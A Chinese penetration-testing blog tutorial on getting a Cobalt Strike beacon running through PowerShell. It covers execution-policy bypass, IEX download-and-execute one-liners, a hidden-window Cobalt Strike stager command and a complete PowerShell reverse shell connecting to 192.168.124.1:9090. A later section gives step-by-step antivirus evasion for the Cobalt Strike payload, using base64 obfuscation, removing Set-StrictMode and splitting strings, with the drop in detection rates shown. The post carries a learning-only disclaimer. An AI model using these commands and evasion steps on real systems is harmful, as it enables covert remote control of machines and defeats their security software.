内网渗透学习|powershell上线cs

2024-11-22 5 0

powershell上线cs

1、前置知识

1.1、powershell常见命令介绍

-Command 需要执行的代码
-ExecutionPolicy 设置默认的执行策略,一般使用Bypass
-EncodedCommand 执行Base64代码
-File 这是需要执行的脚本名
-NoExit 执行完成命令之后不会立即退出,比如我们执行powerhsell whoami 执行完成之后会推出我们的PS会话,如果我们加上这个参数,运行完之后还是会继续停留在PS的界面
-NoLogo 不输出PS的Banner信息
-Noninteractive 不开启交互式的会话
-NoProfile 不使用当前用户使用的配置文件
-Sta 以单线程模式启动ps
-Version 设置用什么版本去执行代码
-WindowStyle 设置Powershell的执行窗口,有下面的参数Normal, Minimized, Maximized, or Hidden

1.2、关键参数详解

  • -command/encodedcommand:命令执行参数

-command(-c)用法:powershell.exe -command ls

-encodedcommand(-enc)用法:powershell.exe -encodedcommand base64命令

$fileContent = "所要编码的脚本"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand

保存以上脚本为*.ps1,执行powershell *.ps1可以获取base64加密的命令。

内网渗透学习|powershell上线cs插图

执行命令:

内网渗透学习|powershell上线cs插图1

  • -executionpolicy(-ep):设置执行策略

-executionpolicy(-ep) 用法:powershell.exe -executionpolicy 策略

powershell有六种执行策略:

Unrestricted 权限最高,可以不受限制执行任意脚本

Restricted 默认策略,不允许任意脚本的执行

AllSigned 所有脚本必须经过签名运行

RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名

Bypass 没有任何限制和提示

Undefined 没有设置脚本的策略

windows默认执行策略为Restricted,因此在执行脚本时会存在报错行为。

powershell 2.ps1

内网渗透学习|powershell上线cs插图2

使用-executionpolicy结合策略可以进行绕过。

powershell -executionpolicy bypass 2.ps1

内网渗透学习|powershell上线cs插图3

Get-ExecutionPolicy可以查询当前策略

powershell Get-ExecutionPolicy

内网渗透学习|powershell上线cs插图4

Set-ExecutionPolicy 可以设置当前策略

powershell Get-ExecutionPolicy 策略

内网渗透学习|powershell上线cs插图5

  • invove-expression(IEX):接受字符串,执行命令。

powershell IEX('命令')用法:执行字符串内容。

内网渗透学习|powershell上线cs插图6

常见用法:

powershell IEX(New-Object Net.WebClient).DownloadString("http://xxxx/1.ps1")

1.ps1:

内网渗透学习|powershell上线cs插图7

远程访问并执行1.ps

内网渗透学习|powershell上线cs插图8

文件下载:

powershell (Invoke-WebRequest -Uri "http://xxx/1.ps1"-OutFile "C:/1.ps1")

内网渗透学习|powershell上线cs插图9

内网渗透学习|powershell上线cs插图10

powershell (new-object System.Net.WebClient).DownloadFile('http://xxx/1.ps1','C:/1.ps1')

内网渗透学习|powershell上线cs插图11

内网渗透学习|powershell上线cs插图12

  • -noprofile(nop):不使用当前用户使用的配置文件

常见用法:

powershell -noprofile

内网渗透学习|powershell上线cs插图13

2、powershell实战常见命令

本地执行:

  • exe -ExecutionPolicy Bypass -File xxx.ps1

绕过本地权限执行文件

  • exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1

本地隐藏绕过权限执行脚本

远程执行:

  • exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

用IEX下载远程PS1脚本绕过权限执行

  • exe -nop -w hidden -c "IEX ((new-objectnet.webclient).downloadstring('http://xx/a'))"

cs上线命令

内网渗透学习|powershell上线cs插图14内网渗透学习|powershell上线cs插图15

powershell反弹shell:

powershell -c "$client = New-Object Net.Sockets.TCPClient('192.168.124.1',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"

内网渗透学习|powershell上线cs插图16

内网渗透学习|powershell上线cs插图17

3、powershell上线cs之免杀

方法一:混淆免杀

步骤一:使用cs生成payload:*.ps1

内网渗透学习|powershell上线cs插图18

内网渗透学习|powershell上线cs插图19

当前查杀率:

内网渗透学习|powershell上线cs插图20

步骤二:打开*.ps1,将$DoIt参数值进行base64混淆处理。

内网渗透学习|powershell上线cs插图21

编码代码:

$string='$DoIt参数值'
$bytes  = [System.Text.Encoding]::UTF8.GetBytes($string);
$encoded = [System.Convert]::ToBase64String($bytes);
$encoded > 2.txt

解码代码:

$string='$DoIt参数值'
$bytes  = [System.Text.Encoding]::UTF8.GetBytes($string);
$encoded = [System.Convert]::ToBase64String($bytes); 
$encoded > 2.txt

步骤三:首先对$DoIt参数值进行base64编码。

内网渗透学习|powershell上线cs插图22

内网渗透学习|powershell上线cs插图23

步骤四:构造解码代码,其中$decode等效于最原始的$DoIt

内网渗透学习|powershell上线cs插图24

使用如上格式修改*.ps1

内网渗透学习|powershell上线cs插图25

步骤五:执行修改后的ps1文件,可以直接上线cs

内网渗透学习|powershell上线cs插图26

查杀率:

内网渗透学习|powershell上线cs插图27

步骤六:删除Set-StrictMode -Version 2,可以看到查杀率为2

内网渗透学习|powershell上线cs插图28

内网渗透学习|powershell上线cs插图29

步骤七:将base64字段分开,可以完全绕过并可以上线cs。

内网渗透学习|powershell上线cs插图30

查杀率(暂时绕不过赛门铁克,待补充):

内网渗透学习|powershell上线cs插图31


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
LLM attack中的API调用安全问题及靶场实践
重温HTTP请求走私漏洞成因及利用细节

发布评论